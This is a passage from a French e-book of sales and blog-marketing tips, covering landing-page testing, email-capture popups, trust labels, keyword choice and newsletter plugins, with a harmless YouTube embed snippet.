A noter : LA/B testing ncessite un gros volume de tests, donc faites surtout un test A/B pour les
formulaires, pour les pubs et uniquement si vous avez plusieurs commandes / jour.

Page 32

Les 112 Secrets des As de la Vente- version 1.0

17 Optimisez vos landing pages de vente ou de rcolte


demails
Que cela soit pour les pages de vente de vos produits, ou les pages de tlchargement de vos
guides gratuits, il est ncessaire de tester diffrentes options afin de voir ce qui augmente le
taux de conversion.

Cela veut dire en pratique tester diffrentes manires de prsenter son offre, que cela soit le fond
ou la forme :
- Tester diffrents formulaires pour le tlchargement de vos livres blancs, eBooks
Cela peut tre la couleur du bouton, la taille du bouton, lappel laction
Des outils comme Aweber ou SG Autorpondeur vous permettent de faire des tests trs
simplement :

- Mettre une vido qui dmarre avec des explications via une interview, via un screencast
Par exemple vous avez la prsentation de la formation Googleliser.

Page 33

Les 112 Secrets des As de la Vente- version 1.0

Ou pour le formation Bloguez comme un Pro, cest une description de lintrieur de la formation
:

- Une vido type dessin anim, tmoignages


Cest par exemple le cas pour notre formation Googleliser, avec une alternative de vido de
prsentation de type dessin anim :

Page 34

Les 112 Secrets des As de la Vente- version 1.0

Pour cela vous pouvez utiliser des gnrateurs de dessin anims comme Powtoon (voir notre
prsentation)

A noter : pour que la vido se lance automatiquement noubliez pas de rajouter dans les
paramtres de lURL de Youtube llment &autoplay=1
Par exemple :
<iframe width=640 height=360 src=//www.youtube.com/embed/tY_y5eqKhB0?autoplay=1
frameborder=0 allowfullscreen></iframe>

18 Utilisez les mots utilisez par les acheteurs et les


prospects

Lobjectif est dutiliser des mots cls qui sont taps par vos prospects en amont de la
phase dachat (ou les mots de ceux qui ont un problme), afin de les attirer et de proposer
vos produits et services.
Pour cela vous allez crer des articles spcifiques autour de chacun de vos mots cls et un mot
cl li lachat.
Page 35

Les 112 Secrets des As de la Vente- version 1.0

Voici quelques exemples de mots cls combiner avec les expressions thmatiques :
- Comparatif
- A quoi sert
- Comment utiliser
- Avis
- Test
- Comment faire
- solution pour
- Problme avec
- Prix de
- Promotion
- Rduction
- Pas cher
- lequel choisir

Voici un fichier Excel ICI avec un mini gnrateur de mots cls :

Page 36

Les 112 Secrets des As de la Vente- version 1.0

Ce fichier Excel vous permettra de crer vos propres titres pour vos articles, mais aussi vos mots
cls pour Google Adwords.
Pour trouver des mots cls supplmentaires, utilisez le gnrateur de mots cls de Google
Adwords ou SEM Rush.

De mme noubliez pas de travailler votre discours, en transformant les fonctions en bnfices.
En effet les clients nachtent pas des fonctions, mais ils achtent :
Une solution un problme

Page 37

Les 112 Secrets des As de la Vente- version 1.0

Un bnfice
Une image (de soi ou face aux autres)
Du rve (une vie meilleure)

Vous devez donc vendre une solution un problme, via une mthode, une checkliste, un outil
Par exemple vous pouvez traduire :
Comptabilit analytique multi-niveaux par Analysez simplement la rentabilit de vos produits,
de vos filiales avec une comptabilit analytique multi niveaux.
40h de formation vido mis jours tous les mois par Vous tes certains dtre toujours la
pointe, vous bnficiez de 40h de formation vido, ainsi quune actualisation tous mois pour tre
au courant des dernires techniques marketing

En effet le fonction nest que le moyen de prouver le bnfice que vous mettez en avant.

19 Proposez un logiciel ou un service ou une application


ou une checkliste
Pour convaincre le client de vous donner son email ou de commander votre produit, il ny a rien de
mieux que de proposer un maximum de valeur.
Cette valeur peut tre un eBook, une vido mais pour apporter plus de valeur, une solution ou
un outil permet dapporter encore plus de valeur ajoute.
Cela peut tre par exemple nos checkliste
SEO,
Analyse Concurrentielle

Page 38

Les 112 Secrets des As de la Vente- version 1.0

Article de Blog
Installation dun blog

Mais cela peut tre par exemple un outil de calcul de ROI, une application pour automatiser une
partie du travail
Par exemple vous avez SEO Moz (outil de rfrencement), qui proposer un outil gratuit danalyse
de backlinks Open Site Explorer en plus de sa solution de SEO payante.

20 Utilisez des logos, des labels pour rassurer


Il est important de rassurer sur la qualit de votre Blog, de votre srieux, de la qualit de vos
produits
Ces labels peuvent tre :
- Un nombre de clients ou les rsultats dune tude
Par exemple si vous tes dans les leaders vous pouvez faire une tude qui prouve que vous tre
la marque la plus connue, la plus vendue

Page 39

Les 112 Secrets des As de la Vente- version 1.0

- Les labels de conformit


Par exemple la conformit sur des normes, une lgislation

- Un label de qualit
Vous pouvez obtenir des labels via des associations (ex: Produit en Bretagne).
Mais il existe aussi de nombreux label rgionaux :

Si vous navez pas accs ce genre de label, vous pouvez trs bien vous regrouper avec
plusieurs acteurs majeurs de votre profession dans une association ou un syndicat, et ainsi
crer votre propre label de qualit.

Page 40

Les 112 Secrets des As de la Vente- version 1.0

Par exemple vous avez lassociation des professionnels du marketing mobile, lADETEM et son
label des professionnels du marketing

- Une label dune marque connue.


Vous pouvez lobtenir via une formation dans une entreprise, comme le statut formation agr
Adwords :

Il existe aussi des organismes qui dlivrent un label de qualit aprs remise dun dossier :

Page 41

Les 112 Secrets des As de la Vente- version 1.0

- Les preuves sociales comme Vu la TV


Le but est de faire rejaillir une partie de la notorit de ces media sur vous :

Vous pouvez en mme temps rajouter une page Publications / Presse avec une page
spcifique sur votre blog comme sur ConseilsMarketing.com

- Logos de qualit 100% satisfait ou 100% rembours.


Ces logos sont trs importants sur les pages de ventes des produits, car cela permet de rassurer
et de diminuer le risque pris par le client.
Cest ce que nous avons sur la page de vente de la formation Bloguez Comme un Pro :

Vous pouvez trouver de nombreux logos prts lemploi sur Fotolia.fr :

Page 42

Les 112 Secrets des As de la Vente- version 1.0

21 Optimisez votre blog pour le Mobile


De plus en plus de visiteurs proviennent du Mobile, par exemple sur ConseilsMarketing.Fr le
mobile cest dj 11,20% des visites, et les tablettes cest 5,70 % :

Cest pourquoi il faut adapter son site via :


- Un design responsive qui permet dadapter le site aux diffrents priphriques.
Vous pouvez trouver sur Theme Forest de nombreux thmes modernes, avec par ICI notre
slection de thmes WordPress.
- Un plugin qui permet dadapter votre site une navigation sur Smartphone et Tablette
Par exemple vous pouvez installer le plugin WordPress WP touch.

Page 43

Les 112 Secrets des As de la Vente- version 1.0

22 Mettez de lhumain ou du service pour devenir


unique !
Lacte dachat est un acte motionnel tout comme le fait de souscrire la newsletter dun Blog.
Cest pourquoi vous devez vous diffrencier et devenir unique dans lesprit des internautes.
La premire dmarche est dutiliser une segmentation pour sadresser une thmatique
trs pointue.
La second option est de mettre en valeur votre personne et laspect humain, afin dtre
unique et original.
Pour cela vous devez vous mettre en avant (ou votre quipe) :
Votre photo
Vos clients
Votre histoire
Votre environnement (appartement, voiture, chien, chat)
Votre quipe

A noter : dites plutt vous ou nous et pas je.


La troisime option est de proposer une offre avec du service en plus, par exemple :
du consulting ou du coaching,
votre exprience personnelle (cas pratiques),
de laccompagnement,
votre expertise (via un forum, via des sessions de formation live),

Page 44

Les 112 Secrets des As de la Vente- version 1.0

En effet lexprience et lexpertise sont uniques et ne peuvent tre copis.

23 Proposez diffrentes offres commerciales


Lorsque vous proposez vos produits et services sur votre blog, proposez plusieurs modes
dachats afin de vous adapter aux budgets des clients, mais aussi pour rduire le risque
pris par le client.
Voici quelques options de vente :
- Achat direct (le client paye immdiatement et utilise son produit vie)
- Abonnement par mois (le client paie un montant tous les mois, avec soit un nouveau contenu
tous les mois, soit un contenu qui est rvl au fur et mesure)
- A la demande (le client paie la consultation, que cela soit de la VOD ou en achetant des
produits lunit)
- Dcoupage ou lot (le client peut acheter les lments quil veut dans votre offre)
- A crdit (via un systme de paiement en plusieurs fois)
- Satisfait ou rembours (avec des conditions ou sans condition)
- Au chapeau (cest dire selon la gnrosit du client)
- Essai gratuit (le client essaie le produit, et sil est content il paie et il accde la totalit du
contenu de manire illimit)
- Le produit dappel (via un produit avec un prix ridicule)

Page 45

Les 112 Secrets des As de la Vente- version 1.0

Pour en savoir plus, consultez notre guide gratuit 54 business modles & 20 politiques de prix
:

Attention : ne proposez pas trop de choix, sinon vous allez faire fuir vos prospects via un dilemme
sur le bon produit choisir !

24 Mettez du rel dans le virtuel


Le plus grand challenge avec le Web, cest de donner confiance aux internautes.
En effet sur le Web tout le monde peut prtendre tre un expert, or comme on ne peut voir la
personne en face, on ne peut pas parler aux clients satisfaits il est difficile de faire confiance.
Pour augmenter votre capital confiance il faut montrer que vous ne vous cachez pas
derrire votre Blog, mais que vous tes une personne relle et que lon peut vous joindre
au cas o.
Cela passe par :
- Lajout de votre numro de tlphone sur la page de vente
Par exemple sur notre formation Apprendre leMarketing :

Page 46

Les 112 Secrets des As de la Vente- version 1.0

- La mise en avant de votre adresse physique et de vos informations lgales


Par exemple la page Mentions lgales de ConseilsMarketing.fr
- La ralisation de Packagings 3D de vos ebooks et vidos (gratuits ou payants), afin de
rendre plus tangibles ce que linternaute va obtenir.
Par exemple pour tous nos eBooks nous essayons de soigner la prsentation :

Retenez quun bon vendeur ne doit pas se cacher derrire son site, et donc il doit tre contactable
facilement (chat, emails, demande dinformation par formulaire)

Page 47

Les 112 Secrets des As de la Vente- version 1.0

25 Optimisez la page de remerciement dinscription la


newsletter
Une fois que vous venez de rcuprer un prospect suite linscription de votre newsletter, au
tlchargement dun livre blanc cest le moment de proposer une promotion spciale
exclusive quils nauront plus jamais aprs.
En effet cest souvent juste aprs avoir fait cette premire action positive, que vous allez pouvoir
les convaincre daller un peu plus loin et dacheter vos produits et services.
Par exemple vous pouvez offrir un pack avec plusieurs produits, un produit dentre de gamme
avec un tarif irrsistible (ex: 4,99 , 7 )
Pour cela il suffit de personnaliser les pages de remerciement post formulaire, comme par
exemple sur Aweber (solution dauto-rpondeur, essai ICI):

Ainsi vos nouveaux abonns vont automatiquement recevoir un message personnalis de


votre part juste aprs le tlchargement.

Page 48

Les 112 Secrets des As de la Vente- version 1.0

Idalement il vaut mieux utiliser une vido + une promotion crite, afin davoir plus dimpact, en
effet vous avez plus dimpact avec lalliance texte + vido (linternaute sera tent de vous couter
en vous voyant limage).

Et pour tre certain que linternaute coute votre vido, noubliez pas de mettre en place la
lecture automatique de la vido.
Sur Youtube cela se fait via lajout du paramtre ?rel=0&autoplay=1 juste aprs lURL qui permet
dembarquer la vido.
Pour cela il suffit saller rcuprer le code embarqu dans longlet Partager de la vido :

Puis vous copiez le code dans notre Notepad de Windows et vous ajoutez la fin de lURL le code
dautoplay (juste derrire lurl de la vido par exemple
www.youtube.com/embed/h43lHd7_0Dg?rel=0&autoplay=1 :

Sur Vimeo cest plus simple, puisque les options dintgration de Vimeo permettent directement de
lancer la vido :

Page 49

Les 112 Secrets des As de la Vente- version 1.0

A noter : il est essentiel que cette promotion soit vraiment exclusive et irrsistible Sinon les
lecteurs vont mettre de ct votre promotion plus tard.
Il est donc essentiel dinsister sur le caractre unique de cette promotion via :
- Un prix irrsistible (ex: un mini prix, une offre satisfait ou rembourse vie, prsenter un prix
par mois ou par jour, comparer le prix une autre dpense, proposer des moyens de paiement)
- Une offre irrsistible (ex: bundle de plusieurs produits, une offre abonnement, des bonus, des
packs de produits ou plus de services, un volume important)
- Rduire le risque (ex: une offre satisfait ou rembourse, un nombre de clients dj
utilisateurs, une prsentation, des tmoignages.)
- Une offre limite dans le temps (ex: cest une offre unique valable uniquement maintenant que
vous naurez plus jamais)
Rsoudre un problme important ou rpondre un besoin urgent, en apportant une
mthode ou une solution (ex: Devenir plus Efficace en 6 semaines).
Page 50

Les 112 Secrets des As de la Vente- version 1.0

- De lmotion en racontant une histoire (ex: moi aussi jai eu ce problme, et justement cest
pour cela que jai mis en place cette solution).
- Une rponse aux principales objections (3 5) en fin de vido, afin de rduire les derniers
doutes du prospect (ex: calcul de ROI, prsenter les conomies ralises).
- Une offre unique par rapport aux concurrents, en mettant en avant une Unique Selling
Proposition qui explique vritablement Pourquoi acheter votre produit plutt quun autre, et ses
diffrences par rapport aux concurrents.
- Une offre dessai qui pourra tre ensuite transforme en achat (ex: un accs gratuit pendant
30 jours un club prive).

Pour viter de rduire lattractivit de votre offre faites attention :


Ne pas proposer un prix trop lev
Prouver lintrt de votre produits par rapport un besoin
Indiquer ce qui arrivera si le produit ne convient pas ou si le client nest pas 100% satisfait

Pour vous aider raliser votre offre irrsistible, vous pouvez vous inspirer des solutions
dinfluences de Robert Cialdini.

26 Inciter laisser son email en change dun


produit/service/Goodies/ complmentaire larticle
consult.
Le but est de proposer au lecteur daller plus loin que larticle de blog quil est en train de
consulter via un bonus quil pourra accder en change de son email.

Page 51

Les 112 Secrets des As de la Vente- version 1.0

Pour cela il faut faire un article de blog (ex: une vido, un article texte), et de proposer ensuite
de tlcharger ou daccder un document complmentaire sous une autre forme (ex : une
checkliste PDF, un plan dactions dtaill sur Excel, un mini guide,une vido).
Limportant tant de changer le format et le contenu, ce qui incitera le lecteur donner son
email et qui lui permettra daller plus loin ou de mettre les ides en pratique.
En alternative on peut proposer une vido prive, un contenu exclusif

27 Faire un article Teaser o on ne fait que valoriser


un contenu exclusif disponible en change dun email.

Par exemple sur Web Marketing Junkie, dans la vido ci dessous, pour avoir accs au contenu il
faut obligatoirement rentrer son email.
La vido teaser dure moins de 2 minutes, et lobjectif est exclusivement dinciter les internautes
laisser leurs emails.

Page 52

Les 112 Secrets des As de la Vente- version 1.0

Pour que cela marche bien, Web Marketing Junkie utilise souvent la technique du Secret, en
utilisant des arguments comme par exemple un truc totalement bizarre mais qui marche /Un truc
de fou / Un secret peu connu /Un truc qui ma totalement tonn / Une astuce que jai trouve
totalement par hasard mais qui marche mort /

Attention : le danger cest de sur-promettre, car si vous promettez de trop vous risquez de
dcevoir, et donc au final de perdre votre crdibilit.
Il faut donc faire attention, et plutt en donner plus que ce que lon a promis.

A noter : le formulaire comporte en plus une mention supplmentaire Votre email valide, ce qui
permet de rduire le nombre de personnes qui donnent des faux emails car ils ne veulent pas
tre spamms.

28 Mettre une barre daide laction en haut du blog


avec un message incitatif (ebook)
Pour maximiser la visibilit et lappel laction il est possible dajouter une barre qui
apparat en haut du blog.
Page 53

Les 112 Secrets des As de la Vente- version 1.0

Le principe tant que plus cest haut dans lcran, plus cest visible et donc la barre en haut
(avec un scrolling), sera visible en permanence.
Par exemple voici la barre sur le blog de Pro Blogger :

Il existe de nombreux plugins WordPress disponibles :


Attention Grabber

NotificationBar

Sticky Notification Bar


Fluid Notification Bar

Page 54

Les 112 Secrets des As de la Vente- version 1.0

29 Raliser une pop up large avec des lments


incitatifs.
La plupart des Pop-ups livres en standard dans les solutions dauto-rpondeur comme Aweber,
SG Auto-rpondeur sont trs basiques et incitent peu laction.
Pour amliorer le taux dinscription il est indispensable de travailler sa pop up, par exemple via
lutilisation de la preuve sociale (le guide du vainqueur GBA, faites comme les 30 000 abonns).
Voici ci dessous quelques exemples de pop up originales et intressantes.

Indiquer le bnfice via une mthode avec un chiffre prcis Formation gratuite 100 000 visiteurs
/ mois, avec un bouton dappel laction Oui on fait a !.

Faire rver Devenez un expert WordPress

Page 55

Les 112 Secrets des As de la Vente- version 1.0

Mettre de lmotion avec Vous mritez un business et une vie que vous aimez Nous pouvons
vous aider !.

Un message original Ouppsss vous avez oubli quelque chose et proposer linscription la
newsletter.

Mettre en avant les bnfices et une promesse sexy avec un visuel simple.
Page 56

Les 112 Secrets des As de la Vente- version 1.0

Valoriser son bonus Appeler ce document un Rapport Gratuit ne lui rend pas justice, mettre en
avant un nombre limit de 3 bnfices, ajouter une valeur ce rapport (47 $), mettre du contenu
audio et texte

Mettre en avant des Secrets (les 7 aliments secrets pour vivre plus longtemps

Page 57

Les 112 Secrets des As de la Vente- version 1.0

Mettre les bnfices du produit en indiquant ce que les clients vont obtenir, avec le nombre de
pages et les fichiers Audio en MP3

Mettre en avant les bnfices Des flots de prospects et de ventes sur Linkedin

Page 58

Les 112 Secrets des As de la Vente- version 1.0

Mettre la photo de lanimateur du blog afin de se porter caution du contenu, et ajouter un


bnfice fort Transformez votre page Facebook en machine gnrer des ventes

Jouer sur lhumour avec une caricature, et sur lexclusivit du contenu.

Page 59

Les 112 Secrets des As de la Vente- version 1.0

La preuve sociale, avec la mise en avant des 40 000 abonns

Ajouter un mot du webmaster, en indiquant que le contenu est habituellement payant

Page 60

Les 112 Secrets des As de la Vente- version 1.0

Mettre en avant les bnfices concrets, en se mettant la place de linternaute

Pour crer de beaux formulaires vous pouvez utiliser plusieurs solutions :


Les outils de cration de formulaires comme avec Aweber

Page 61

Les 112 Secrets des As de la Vente- version 1.0

Intgrer une iFrame avec dans la partie graphique une image, et nutiliser Aweber, SG
autorpondeur que pour la partie rpondeur
Utiliser des outils de cration de Pop up comme http://pippity.com/

Utiliser un outil de gnration de Pop comme Popup Domination

- Optin Monster avec une popup avec animation pour attirer lattention

Popup Domination et ses concurrents ont aussi lintrt de proposer :


Lintgration de vidos directement dans le formulaire

Page 62

Les 112 Secrets des As de la Vente- version 1.0

Faire un Jaime Facebook au lieu dun formulaire

Faire une redirection directe vers une page de vente ou une page de tlchargement

Mettre une simple question Oui ou Non pour avoir un appel laction plus fort

Page 63

Les 112 Secrets des As de la Vente- version 1.0

Attention : si votre pop arrive top vite, si elle nest pas pertinente elle peut nuire votre image
(par exemple sur ConseilsMarketing.fr nous faisons le choix de ne pas mettre de pop up).

30 Mettre un formulaire ds la home page la place


du slider
Dans la plupart des thmes WordPress il est possible de mettre en avant un article dans le
slide de la home page, ou tout simplement mettre loffre sur leBook, sur le contenu
gratuit en avant sur larticle mis en avant.
Par exemple sur ConseilsMarketing nous avons une mise en avant dans le slide, dans larticle
sticky post, dans la barre de navigation afin de maximiser les inscriptions.

Page 64

Les 112 Secrets des As de la Vente- version 1.0

31 Intgrez une Popup lorsque linternaute veut


quitter la page Web
Ce type de pop up est surtout utilise sur les pages de ventes pour proposer une super
offre avant que linternaute ne quitte la page, sur un blog cest assez agressif comme outil
car il cherche faire changer davis linternaute.
Donc cette technique est utiliser dans un blog fait pour les promos et non pas pour devenir un
expert reconnu.

32 Bloguez pour une personne qui a un problme et


non pas sur une thmatique
Une erreur classique de la plupart des Blogueurs, cest de Bloguer sur une thmatique (ex :
la cration dentreprise, le sport, les rgimes).

Or en faisant cela vous narriverez pas convaincre vos lecteurs dacheter vos produits (ou tout
simplement de souscrire votre newsletter), car ils ne se retrouveront pas dans un message
trop gnrique ou qui ne les touche pas motionnellement.
Donc vous devez identifier qui est votre prospect type et crer votre blog autour de lui et de
ses problmes.
Par exemple:
- au lieu de bloguer sur la cration dentreprises, Bloguez pour les personnes qui veulent
crer une entreprise en tant que Freelance, ou pour ceux qui veulent se lancer dans le
commerce
- au lieu de bloguer sur les rgimes, crivez un blog pour les femmes clibataires qui ont un
job et qui veulent garder la forme, pour les jeunes mres de famille qui ont eu un enfant

Page 65

Les 112 Secrets des As de la Vente- version 1.0

Bref, il faut cibler exactement des personnes qui ont un besoin et un problme important (et si
possible urgent), et publier du contenu (eBook, articles, vidos, infographies) autour de ce sujet
en ayant bien en tte de la personne qui vous vous adressez.
Pour cela utilisez la Mthode des Personas, cest--dire que vous allez faire une fiche
didentit de la personne type, avec :
Ses caractristiques (son ge, ses passions, son budget) et son nom (et si possible sa photo
type que vous pourrez chercher sur le Web).
Ses problmes et ses besoins
Ses leviers de motivation

La mthode de personas from ConseilsMarketing.fr


Bref, tablir une fiche didentit complte.
Suite cela vous devrez imprimer cette fiche et lafficher prs de votre PC, afin de penser toujours
cette personne lorsque vous allez crer du contenu.
Lintrt de bloguer pour une personne, permet de rduire la thmatique, de se concentrer une 1
problme, et donc dtre plus pertinent et dy consacrer moins de temps.

Faites le test Si vous avez dj un Blog, regardez vos 20 derniers articles :


Est-ce que vous avez crit des articles qui vont attirer cette personne type ?
Est-ce que vous avez crit du contenu qui est en amont de la phase dachat de cette personne ?

Si ce nest pas le cas, cest que vous avez perdu le focus, ou que perdez du temps au lieu
dattirer les bons prospects.

Page 66

Les 112 Secrets des As de la Vente- version 1.0

33 Proposez un contenu gratuit (ou payant) qui soit


une mthode pratique.
Votre objectif doit tre de crer une liste email de prospects, car il est de plus difficile de
convaincre les personnes dacheter sans quelles ne vous connaissent.
Il faut donc offrir du gratuit : un livre blanc, des vidos mais pas nimporte lequel
Si vous proposez un bonus qui nest pas assez sduisant vous rduisez fortement le
nombre de personnes qui vont souscrire votre offre gratuite
Pour augmenter le taux de souscription, vous devez proposer une offre irrsistible , cest
dire proposer une mini mthode ou une solution qui va rpondre un problme.
Pour cela vous avez plusieurs choix :
- Soit vous apportez un bnfice dans une mthode avec une dure limite et incitative (ex :
21 jours pour Bloguer comme un Pro ). Vous basez votre succs sur une promesse darriver
un rsultat en une dure donne.

Page 67

Les 112 Secrets des As de la Vente- version 1.0

- Soit vous rsolvez un problme via une promesse dans une priode donne (ex :
Devenir plus Efficace en 6 Semaines). Vous bas lintrt sur le bnfice.

- Soit vous apportez une solution ou une mthode cl en main lie un problme (ex : Le
Kit de Survie du Crateur dEntreprise). Vous basez lintrt sur la peur.

Page 68

Les 112 Secrets des As de la Vente- version 1.0

- Soit vous proposez de mettre en place un nombre dactions limite dans un temps limit
(ex: 5 choses faire cette semaine pour optimiser votre blog). Le but est de jouer sur limpulsion et
la facilit mettre des actions en place.

En revanche vitez les livres blancs trop gnriques et pas assez concrets :
Le livre blanc de XXXX
Le Prcis du XXXX
eBook sur xxxx

Avec ce genre de titres, lappel laction nest pas assez fort

Bien entendu, en complment il faut choisir un visuel impactant, voire plusieurs en A/B
testing, afin dattirer lil.
Ensuite crez une couverture ou un visuel 3D intressant, par exemple en utilisant http://3dpack.com/.

Page 69

Les 112 Secrets des As de la Vente- version 1.0

34 Proposez aux commentateurs de sinscrire votre


newsletter.
Des plugins de newsletters comme MailChimpet Aweber vous permettent dajouter une petite
case cocher juste aprs avoir rentr un commentaire sur le Blog.
Cela permet vos lecteurs les plus intresss (les commentateurs) de faire tout petit effort de plus
pour sinscrire votre newsletter !
Par exemple le plugin WordPress dAweber vous permet en 30 secondes dajouter cette option
votre blog WordPress :

Et voici ce que cela donne dans votre Blog :

Page 70

Les 112 Secrets des As de la Vente- version 1.0

Vous pouvez tlcharger le plugin Aweber sur ce lien (gratuit).


A noter : si vous voulez offrir un eBook, une vido vous pouvez utiliser Amazon S3 pour protger
laccs vos fichiers.
Cependant comme cest payant (rassurez vous cest 1 2 euros / mois pour des milliers de
tlchargements), et un peu compliqu pour des dbutants il est possible dutiliser les solutions de
stockage grand public.
Les alternatives sont Dropbox ou Google Drive pour stocker vos fichiers et les
partager Cest gratuit, et cest super simple utiliser.
Il suffit dinstaller Dropbox, puis de crer un dossier :

Page 71

Les 112 Secrets des As de la Vente- version 1.0

Ensuite glissez dposez un fichier dans le dossier cr :

Ensuite faites un clic droit, et choisissez de partager le lien du fichier :

Ensuite cliquez sur Obtenir le lien :

Page 72

Les 112 Secrets des As de la Vente- version 1.0

Et voil, votre lien de tlcharger est disponible via un coll :

35 Capitalisez sur les sites de contenus pour rabattre


des visiteurs
Si vous avez un eBook gratuit ou si vous tes encore peu connu dans votre thmatique,
vous pouvez aussi les laisser en libre accs sur Issui, Scribd , Slideshare
Cela permet dattirer des prospects qui ne connaissent pas votre blog ou permettre aux autres
blogueurs et influenceurs de partager le document (Scoopit, blog) sans avoir comme contrainte
un formulaire remplir, ou de trop vous mettre en avant auprs de leurs lecteurs
En effet trop de blogueurs ne veulent pas mettre leurs documents en libre accs en dehors de
leurs blogs, alors que justement ces livres blancs sont les meilleurs outils pour attirer des
prospects.
Lastuce tant de proposer soit une version limite de lebook (ex: un extrait, une mini
version), et de proposer den savoir plus sur le Blog.
Ainsi vous allez capitaliser sur une audience existante, pour les ramener sur votre Blog.

Page 73

Les 112 Secrets des As de la Vente- version 1.0

Voici un exemple avec notre guide 112 conseils des as de la vente, avec plus de 3000 vues et 80
tlchargements :

Certes, ces personnes chappent au blog, mais dune part avec Slideshare on voit qui a
tlcharg le guide, en plus on voit les sites qui ont embarqu le document (des partenaires
pontentiels), et enfin cela fait de la notorit gratuite !

A noter : une astuce consiste communiquer aux influenceurs sur Twitter, Facebook une
page spcifique de votre site sans formulaire pour obtenir le document (le mettre en libre
tlchargement PDF), puis quelques semaines plus tard de mettre un formulaire.

36 Rduisez leffet Sapin de Nol sur votre Blog


Un problme de certains Blogs cest de proposer trop dappels laction, en particulier
dans la barre de navigation (cest un peu le cas de ConseilsMarketing.com).
Or votre but doit tre davoir 1 appel laction fort, et de ne pas diluer trop votre message

Page 74

Les 112 Secrets des As de la Vente- version 1.0

Par exemple votre but N1 doit tre de crer votre propre liste de prospects, or si votre Blog
ne donne pas lenvie de vous inscrire, alors vous perdez automatiquement des visiteurs
Il faut 1 message clair et incitatif, et pas plusieurs.
Par exemple gnralement il faut plutt chercher tlcharger un ebook gratuit (et ainsi
crer une liste),plutt que dessayer de vendre directement un produit (ce qui narrive
quasiment jamais lors dune premire visite).
Par exemple sur ConseilsMarketing, nous avons mis en premire position le guide gratuit, et
uniquement ensuite les offres payantes.

37 R-engager les inactif avec des emails de


ractivation
Lobjectif de ces emails de ractivation est de renouer une relation commerciale avec les
abonns la newsletter.
Les options pour ractiver les prospects peuvent tre :
- Un objet demail provoquant
Exemple : Attention, vous nallez plus recevoir nos conseils par email / Ce que je vous dis ne
vous intresse pas ? / Vous ne voulez vraiment pas de laide /
Pour trouver des ides dobjets demail efficaces, conservez dans un rpertoire les
emails avec des objets particulirement pertinents afin de vous en inspirer :

Page 75

Les 112 Secrets des As de la Vente- version 1.0

- Des offres irrsistibles


Cela peut se faire via une offre dentre de gamme (ex: un produit moins de 10 ), une offre
gratuite

38 Raliser une bannire dintroduction personnalise


pour chaque article avec la reprise du titre et des
bnfices
Le but est davoir une information qui soit visuellement encore plus impactante que du
texte ou une image gnrique.

Cest une technique utilise par exemple par Ludovic de MarketingHack.fr

Page 76

Les 112 Secrets des As de la Vente- version 1.0

39 Faire apparatre la fentre dinscription pour un


ebook lors du passage sur un lien hypertexte
Le but est de faire apparatre une fentre en mode pop-up ds que la souris passe sur un lien,
ainsi il ny a plus qu cliquer :

Page 77

Les 112 Secrets des As de la Vente- version 1.0

40 Mettre un lien dans les pages en haut et en bas de


votre blog
Le but est de mettre en place votre espace publicitaire dans le footer de votre blog, afin davoir un
espace de visibilit sur toutes les pages du site.
Cest surtout pertinent si vous avez des articles trs longs, ou si vos lecteurs lisent sont intresss
par les commentaires.
Par exemple vous pouvez rajouter une image avec une inscription la newsletter, ou des liens
vers des articles cls, des produits, de laffiliation :

Vous pouvez aussi mettre un lien vers vos publicits dans vos menus, afin davoir un accs
direct aux produits, aux promotions

41 Bien distinguer vos produits des produits en


affiliation et des publicits.
Une fois que vous avez donn confiance vos lecteurs, et que vous avez gagn votre statut
dexpert, il est important de montrer vos prospects quels sont vos produits, et ceux de vos
partenaires.

Page 78

Les 112 Secrets des As de la Vente- version 1.0

Vous pouvez par exemple


- ajouter votre logo sur vos eBooks et formation,

- mettre une zone publicitaire ou une bannire sur vos produits par exemple dans la Sidebar
(surtout si elle est longue pour profiter du scroll),
mettre en header ou en footer un lien vers Mes produits...

Page 79

Les 112 Secrets des As de la Vente- version 1.0

42 Mettre un lien dabonnement newsletter juste aprs


la date de larticle
Par exemple sur VideoFruit vous pouvez vous abonner ds le dbut de larticle via le lien Get
Free Updates of new post here :

43 Mettre les liens Facebook, Twitter dans vos


newsletters et emailing
Le but est de proposer vos lecteurs de partager leurs contacts vos actualits, en
particulier dans votre newsletter, dans vos emailings
Pour cela il faut activer les liens de partage comme par exemple sur Aweber et ensuite demander
vos lecteurs de partager vos actualits :

Page 80

Les 112 Secrets des As de la Vente- version 1.0

Vous pouvez aussi ajouter dans vos emailings un bouton pour vous suivre sur Twitter ou
Facebook afin daugmenter le nombre de vos fans.

44 Mettre un onglet vers vos Guides gratuits, bonus


sur sur votre page Facebook

Vous pouvez utiliser pour cela le plugin Aweber qui permet dajouter un lien dans la page :

Page 81

Les 112 Secrets des As de la Vente- version 1.0

45 Mettez un appel lactions incitatif sur vos


boutons
Le bouton daction doit tre hyper visible, mais surtout avec un texte engageant, et non pas le
simple votre email / newsletter /
Par exemple vous pouvez utiliser un bouton rouge avec le bouton Je veux le livre / Oui je veux
booster mon business /:

46 Supprimer la navigation du site dans vos landing


pages
Pour ne pas distraire linternaute de laction suggre (commander, tlcharger un guide..),
il faut supprimer ce qui pourrait le dtourner de lobjectif.
Page 82

Les 112 Secrets des As de la Vente- version 1.0

Pour cela ne laissez dans vos landing pages que les lments essentiels :
Le titre
Un rsum en mode bnfice
Le visuel de votre bonus
Un tmoignage dun client satisfait
Bouton de partage sur les Media Sociaux

47 Proposer plusieurs types de bonus pour inciter les


internaute vos donner leur email.
Un internaute ne vous donnera pas son email si vous ne lui offrez pas suffisamment de
valeur en change
Or parfois un livre blanc ne suffit parfois pas convaincre il faut donc proposer soit plusieurs
types de bonus (ex: des vidos exclusives, des checklistes, des accs un espace VIP et non
pas que des eBooks ou livres blancs en PDF), ou un pack de diffrents bonus.
Par exemple vous avez notre Pack deBooks gratuits :

Page 83

Les 112 Secrets des As de la Vente- version 1.0

Et bien entendu faites des split testing pour vrifier le bonus qui est plus performant !

48 Proposer une inscription newsletter aprs les


commentaires
Vous pouvez par exemple proposer linscription newsletter juste aprs un commentaire :

Ou encore afficher une page spcifique (ex: promotion, vente dun produit, proposer un partage),
via le pluginWordPress Comment Redirect :

Page 84

Les 112 Secrets des As de la Vente- version 1.0

49 Envoyez un email X jours au commentateur dun


article

Le but est denvoyer automatique un email aux commentateurs avec par exemple une offre
spciale pour les remercier de leur activit, pour offrir une promotion exclusive
Vous pouvez par exemple utiliser le plugin Thank Me Later.

Attention : si vous avez un gros blog avec un max de commentaires, le premier lancement peut
ralentir votre serveur

Page 85

Les 112 Secrets des As de la Vente- version 1.0

50 Mettre une fentre promotionnelle sur la


progression, par exemple aprs un tlchargement ou
un traitement
Le but est de profiter dun dlais de traitement pour inciter le lecteur sinscrire votre
newsletter.
